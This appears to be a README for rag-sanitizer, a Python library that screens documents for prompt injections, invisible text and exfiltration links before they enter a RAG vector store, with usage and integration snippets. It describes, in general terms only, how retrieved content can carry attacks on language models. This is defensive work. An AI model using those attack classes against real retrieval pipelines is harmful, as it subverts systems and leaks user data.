rag-sanitizer

Scan your RAG documents for hidden prompt injections, invisible text attacks, and data exfiltration payloads before they enter your vector database.

Why this exists

RAG pipelines ingest untrusted data from PDFs, wikis, web pages, and exported collaboration tools. That text is embedded and then re-injected into LLM context at query time. If malicious instructions are hidden in the source, they can survive chunking and retrieval.

This creates a security boundary problem: your model obeys system/developer instructions, but retrieved context can still influence output if it contains adversarial patterns. Attackers exploit this through prompt injection directives, obfuscated payloads, invisible Unicode, and exfiltration links.

rag-sanitizer adds a defensive preprocessing layer at ingestion time. It scans raw text, emits structured threat signals, computes a composite risk score, and sanitizes malicious segments before chunking and embedding.

How I use it

cd rag-sanitizer
python -m venv .venv
source .venv/bin/activate
pip install -U pip
pip install -e ".[dev,all]"
pytest --cov=rag_sanitizer --cov-report=xml -v
ruff check rag_sanitizer tests
ruff format --check rag_sanitizer tests

Install

pip install rag-sanitizer

30-second usage

from rag_sanitizer import RagSanitizer

sanitizer = RagSanitizer()
result = sanitizer.scan(document_text)

if not result.is_clean:
    print(f"Threats found: {result.signal_count}")
    print(f"Threat score: {result.threat_score}")
    safe_text = result.sanitized_text

What it detects

LangChain integration

from langchain_community.document_loaders import PyPDFLoader
from langchain.text_splitter import RecursiveCharacterTextSplitter
from langchain_openai import OpenAIEmbeddings
from langchain_community.vectorstores import Chroma
from rag_sanitizer.integrations.langchain import RagSanitizerTransformer

# Load
_docs = PyPDFLoader("untrusted_document.pdf").load()

# Sanitize BEFORE chunking
sanitizer = RagSanitizerTransformer(on_threat="sanitize")
clean_docs = sanitizer.transform_documents(_docs)

# Log threats
for doc in clean_docs:
    score = doc.metadata.get("rag_sanitizer_threat_score", 0)
    if score > 0:
        print(f"[!] Threat score {score:.2f} in {doc.metadata.get('source', 'unknown')}")

# Chunk + embed
splitter = RecursiveCharacterTextSplitter(chunk_size=1000, chunk_overlap=200)
chunks = splitter.split_documents(clean_docs)
vectorstore = Chroma.from_documents(chunks, OpenAIEmbeddings())

LlamaIndex integration

from llama_index.core.ingestion import IngestionPipeline
from llama_index.core.node_parser import SentenceSplitter
from rag_sanitizer.integrations.llamaindex import RagSanitizerPostprocessor

pipeline = IngestionPipeline(transformations=[SentenceSplitter(chunk_size=512)])
nodes = pipeline.run(documents=docs)

post = RagSanitizerPostprocessor(on_threat="sanitize")
clean_nodes = post._postprocess_nodes(nodes)

Configuration

from rag_sanitizer import SanitizerConfig

config = SanitizerConfig(
    threat_threshold=0.3,
    max_text_length=500_000,
    density_enabled=True,
    max_ngram_ratio=0.05,
    max_word_frequency=0.02,
    window_similarity_threshold=0.85,
    invisible_text_enabled=True,
    min_font_size_threshold=1.0,
    max_whitespace_sequence=50,
    injection_enabled=True,
    injection_severity_minimum="low",
    encoding_enabled=True,
    min_base64_length=20,
    exfiltration_enabled=True,
    entropy_enabled=True,
    entropy_window_size=256,
    entropy_threshold=4.5,
    max_high_entropy_ratio=0.15,
    strip_placeholder="[REMOVED BY RAG-SANITIZER]",
    normalize_unicode=True,
)

Development

pip install -e ".[dev]"
pytest -v
ruff check rag_sanitizer tests
ruff format rag_sanitizer tests

License

MIT.

Need real-time protection for production RAG systems? KoreShield provides enterprise-grade LLM security with ML-based detection, semantic analysis, and compliance reporting. rag-sanitizer catches the obvious stuff - KoreShield catches everything else.